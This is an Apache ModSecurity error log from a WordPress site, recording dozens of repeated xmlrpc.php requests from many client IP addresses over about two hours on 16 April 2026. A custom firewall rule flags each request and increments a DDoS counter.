[Thu Apr 16 14:58:32.710875 2026] [:error] [pid 49094:tid 49096] [client 59.125.102.142:50688] [client 59.125.102.142] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 59.125.102.142, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCImDbDwvcXorHR_Mw5xQAAAUA"]
[Thu Apr 16 14:58:59.998967 2026] [:error] [pid 49094:tid 49096] [client 147.182.180.16:51188] [client 147.182.180.16] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.182.180.16, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCIszbDwvcXorHR_Mw52AAAAUA"]
[Thu Apr 16 15:05:19.593539 2026] [:error] [pid 57639:tid 57651] [client 164.92.66.167:33120] [client 164.92.66.167] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 164.92.66.167, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCKL6MCQoTw7TsxWumzggAAAMU"]
[Thu Apr 16 15:10:48.787751 2026] [:error] [pid 7880:tid 7885] [client 85.128.143.134:56676] [client 85.128.143.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.134, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCLeKaezm4fSGc0yUJABwAAAYA"]
[Thu Apr 16 15:11:55.613437 2026] [:error] [pid 7880:tid 7886] [client 173.249.55.89:42730] [client 173.249.55.89] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.249.55.89, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCLu6aezm4fSGc0yUJAPAAAAYE"]
[Thu Apr 16 15:14:37.078886 2026] [:error] [pid 57536:tid 57557] [client 100.24.110.95:37256] [client 100.24.110.95] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 100.24.110.95, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCMXSQU4faGja6jpDv4PAAAAAk"]
[Thu Apr 16 15:15:14.494168 2026] [:error] [pid 49094:tid 49100] [client 81.169.226.163:47006] [client 81.169.226.163] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 81.169.226.163, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCMgjbDwvcXorHR_Mw9UgAAAUQ"]
[Thu Apr 16 15:19:52.901354 2026] [:error] [pid 57639:tid 57664] [client 148.251.75.145:44376] [client 148.251.75.145] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.251.75.145, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCNmKMCQoTw7TsxWum5YgAAANI"]
[Thu Apr 16 15:22:42.667858 2026] [:error] [pid 7880:tid 7891] [client 147.182.180.16:56672] [client 147.182.180.16] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.182.180.16, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCOQqaezm4fSGc0yUJCZwAAAYY"]
[Thu Apr 16 15:29:40.387797 2026] [:error] [pid 57536:tid 57570] [client 200.105.164.183:55548] [client 200.105.164.183] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 200.105.164.183, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCP5CQU4faGja6jpDv7HwAAABY"]
[Thu Apr 16 15:30:29.819744 2026] [:error] [pid 49094:tid 49108] [client 51.75.54.138:37708] [client 51.75.54.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.75.54.138, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCQFTbDwvcXorHR_Mw_IQAAAUw"]
[Thu Apr 16 15:31:45.277444 2026] [:error] [pid 57639:tid 57657] [client 77.68.115.185:36108] [client 77.68.115.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 77.68.115.185, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCQYaMCQoTw7TsxWum-QgAAAMs"]
[Thu Apr 16 15:34:18.712783 2026] [:error] [pid 7880:tid 7901] [client 159.223.61.19:41238] [client 159.223.61.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.223.61.19, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCQ-qaezm4fSGc0yUJEnQAAAZA"]
[Thu Apr 16 15:34:21.139145 2026] [:error] [pid 49094:tid 49106] [client 35.242.254.186:49462] [client 35.242.254.186] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.242.254.186, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCQ_TbDwvcXorHR_Mw_ZgAAAUo"]
[Thu Apr 16 15:37:43.731839 2026] [:error] [pid 49094:tid 49115] [client 4.240.89.23:52594] [client 4.240.89.23] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 4.240.89.23, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCRxzbDwvcXorHR_Mw_2gAAAVM"]
[Thu Apr 16 15:38:05.553185 2026] [:error] [pid 57536:tid 57571] [client 128.199.223.38:53546] [client 128.199.223.38] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 128.199.223.38, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCR3SQU4faGja6jpDv8WgAAABc"]
[Thu Apr 16 15:38:57.942947 2026] [:error] [pid 57639:tid 57647] [client 109.228.52.205:42912] [client 109.228.52.205] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.228.52.205, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCSEaMCQoTw7TsxWum_qgAAAME"]
[Thu Apr 16 15:41:05.269248 2026] [:error] [pid 57538:tid 57621] [client 5.53.124.193:58894] [client 5.53.124.193] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.53.124.193, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCSkcuMaiEF5SVR2BeeIAAAAJM"]
[Thu Apr 16 15:43:26.553736 2026] [:error] [pid 57538:tid 57615] [client 123.30.233.48:36742] [client 123.30.233.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 123.30.233.48, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCTHsuMaiEF5SVR2BeeNQAAAI0"]
[Thu Apr 16 15:45:20.250366 2026] [:error] [pid 29603:tid 29605] [client 149.202.83.206:37946] [client 149.202.83.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.202.83.206, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCTkFfGOR6fpTWUAzpLKwAAAQA"]
[Thu Apr 16 15:45:23.377965 2026] [:error] [pid 57639:tid 57662] [client 159.89.50.224:36738] [client 159.89.50.224] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.89.50.224, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCTk6MCQoTw7TsxWunBIAAAANA"]
[Thu Apr 16 15:45:40.283458 2026] [:error] [pid 57639:tid 57646] [client 107.180.241.110:58906] [client 107.180.241.110] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 107.180.241.110, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCTpKMCQoTw7TsxWunBLgAAAMA"]
[Thu Apr 16 15:48:25.426838 2026] [:error] [pid 57639:tid 57662] [client 93.91.154.4:55174] [client 93.91.154.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 93.91.154.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCUSaMCQoTw7TsxWunCBgAAANA"]
[Thu Apr 16 15:50:16.068623 2026] [:error] [pid 57538:tid 57606] [client 157.245.107.90:51066] [client 157.245.107.90] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.245.107.90, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCUuMuMaiEF5SVR2Bee0gAAAIQ"]
[Thu Apr 16 15:52:44.899965 2026] [:error] [pid 7880:tid 7891] [client 54.38.122.177:46008] [client 54.38.122.177] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.38.122.177, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCVTKaezm4fSGc0yUJHugAAAYY"]
[Thu Apr 16 15:59:30.252023 2026] [:error] [pid 49094:tid 49106] [client 185.98.139.113:40236] [client 185.98.139.113] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.98.139.113, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCW4jbDwvcXorHR_MxDbwAAAUo"]
[Thu Apr 16 15:59:37.802521 2026] [:error] [pid 57538:tid 57621] [client 84.201.130.79:59862] [client 84.201.130.79] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 84.201.130.79, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCW6cuMaiEF5SVR2BegbAAAAJM"]
[Thu Apr 16 16:02:04.922948 2026] [:error] [pid 57536:tid 57551] [client 159.223.217.167:53938] [client 159.223.217.167] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.223.217.167, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCXfCQU4faGja6jpDsDkwAAAAM"]
[Thu Apr 16 16:02:39.349967 2026] [:error] [pid 57639:tid 57665] [client 195.242.102.130:55164] [client 195.242.102.130] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 195.242.102.130, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCXn6MCQoTw7TsxWunKKgAAANM"]
[Thu Apr 16 16:06:05.970251 2026] [:error] [pid 57536:tid 57551] [client 51.83.154.40:42098] [client 51.83.154.40] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.83.154.40, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCYbSQU4faGja6jpDsFtQAAAAM"]
[Thu Apr 16 16:06:18.642573 2026] [:error] [pid 57639:tid 57663] [client 157.245.42.243:39726] [client 157.245.42.243] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.245.42.243, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCYeqMCQoTw7TsxWunNEwAAANE"]
[Thu Apr 16 16:07:42.205998 2026] [:error] [pid 57639:tid 57663] [client 103.205.142.28:53052] [client 103.205.142.28] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.205.142.28, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCYzqMCQoTw7TsxWunOvgAAANE"]
[Thu Apr 16 16:09:27.016922 2026] [:error] [pid 29603:tid 29612] [client 69.57.172.96:55874] [client 69.57.172.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 69.57.172.96, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCZN1fGOR6fpTWUAzpPLwAAAQc"]
[Thu Apr 16 16:09:45.675695 2026] [:error] [pid 57639:tid 57658] [client 159.65.249.223:64526] [client 159.65.249.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.65.249.223, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCZSaMCQoTw7TsxWunPxgAAAMw"]
[Thu Apr 16 16:10:19.048855 2026] [:error] [pid 57639:tid 57654] [client 121.170.188.114:56114] [client 121.170.188.114] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 121.170.188.114, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCZa6MCQoTw7TsxWunP_wAAAMg"]
[Thu Apr 16 16:11:34.507748 2026] [:error] [pid 57537:tid 57585] [client 35.242.254.186:43726] [client 35.242.254.186] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.242.254.186, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCZtlVQRS8nm73ENAmIGgAAAEo"]
[Thu Apr 16 16:12:09.126719 2026] [:error] [pid 57639:tid 57655] [client 78.88.230.100:55360] [client 78.88.230.100] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.88.230.100, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCZ2aMCQoTw7TsxWunQ5wAAAMk"]
[Thu Apr 16 16:12:42.185812 2026] [:error] [pid 7880:tid 7897] [client 152.42.226.162:55952] [client 152.42.226.162] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.42.226.162, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCZ-qaezm4fSGc0yUJN6gAAAYw"]
[Thu Apr 16 16:12:44.496523 2026] [:error] [pid 7880:tid 7909] [client 217.61.143.66:50118] [client 217.61.143.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.61.143.66, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCZ_Kaezm4fSGc0yUJN7AAAAZg"]
[Thu Apr 16 16:16:05.221430 2026] [:error] [pid 57538:tid 57609] [client 144.76.199.240:32870] [client 144.76.199.240] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 144.76.199.240, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCaxcuMaiEF5SVR2Bei8wAAAIc"]
[Thu Apr 16 16:17:52.215116 2026] [:error] [pid 57536:tid 57557] [client 59.125.102.142:41502] [client 59.125.102.142] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 59.125.102.142, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCbMCQU4faGja6jpDsKuAAAAAk"]
[Thu Apr 16 16:18:48.381459 2026] [:error] [pid 57537:tid 57583] [client 212.125.4.206:47996] [client 212.125.4.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.125.4.206, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCbaFVQRS8nm73ENAmJPwAAAEg"]
[Thu Apr 16 16:19:35.808738 2026] [:error] [pid 7880:tid 7899] [client 137.184.64.22:48368] [client 137.184.64.22] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.64.22, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCbl6aezm4fSGc0yUJPqgAAAY4"]
[Thu Apr 16 16:22:52.265268 2026] [:error] [pid 57537:tid 57581] [client 52.226.240.29:5760] [client 52.226.240.29] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.226.240.29, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCcXFVQRS8nm73ENAmKKAAAAEY"]
[Thu Apr 16 16:28:46.303516 2026] [:error] [pid 57639:tid 57648] [client 217.154.102.39:41396] [client 217.154.102.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.154.102.39, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCdvqMCQoTw7TsxWunaygAAAMI"]
[Thu Apr 16 16:32:40.869447 2026] [:error] [pid 57537:tid 57594] [client 152.59.7.68:57161] [client 152.59.7.68] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.59.7.68, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCeqFVQRS8nm73ENAmLWgAAAFM"]
[Thu Apr 16 16:32:51.107791 2026] [:error] [pid 57536:tid 57571] [client 152.59.7.68:57378] [client 152.59.7.68] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.59.7.68, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCesyQU4faGja6jpDsP_AAAABc"]
[Thu Apr 16 16:33:01.788314 2026] [:error] [pid 57536:tid 57552] [client 152.59.7.68:57605] [client 152.59.7.68] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.59.7.68, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCevSQU4faGja6jpDsQBgAAAAQ"]
[Thu Apr 16 16:33:12.397536 2026] [:error] [pid 57639:tid 57667] [client 152.59.7.68:57838] [client 152.59.7.68] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.59.7.68, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCeyKMCQoTw7TsxWunchAAAANU"]
[Thu Apr 16 16:33:22.640862 2026] [:error] [pid 57537:tid 57590] [client 152.59.7.68:58071] [client 152.59.7.68] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.59.7.68, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCe0lVQRS8nm73ENAmLcwAAAE8"]
[Thu Apr 16 16:36:32.323302 2026] [:error] [pid 7880:tid 7890] [client 82.223.165.55:43544] [client 82.223.165.55] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.165.55, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCfkKaezm4fSGc0yUJURgAAAYU"]
[Thu Apr 16 16:42:22.843504 2026] [:error] [pid 57639:tid 57667] [client 94.136.71.71:53480] [client 94.136.71.71] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 94.136.71.71, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCg7qMCQoTw7TsxWung9gAAANU"]
[Thu Apr 16 16:42:28.269937 2026] [:error] [pid 49094:tid 49118] [client 59.125.102.226:43208] [client 59.125.102.226] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 59.125.102.226, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCg9DbDwvcXorHR_MxO_gAAAVY"]
[Thu Apr 16 16:44:50.990613 2026] [:error] [pid 7880:tid 7908] [client 66.70.178.228:53480] [client 66.70.178.228] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.70.178.228, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeChgqaezm4fSGc0yUJWMQAAAZc"]
[Thu Apr 16 16:46:02.444925 2026] [:error] [pid 7880:tid 7903] [client 91.204.161.79:57194] [client 91.204.161.79] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.204.161.79, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeChyqaezm4fSGc0yUJWWgAAAZI"]
[Thu Apr 16 16:46:50.966379 2026] [:error] [pid 57536:tid 57554] [client 85.128.143.124:38554] [client 85.128.143.124] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.124, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCh-iQU4faGja6jpDsTTAAAAAY"]
[Thu Apr 16 16:55:12.242562 2026] [:error] [pid 57639:tid 57653] [client 38.113.191.66:37620] [client 38.113.191.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 38.113.191.66, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeCj8KMCQoTw7TsxWunm0wAAAMc"]
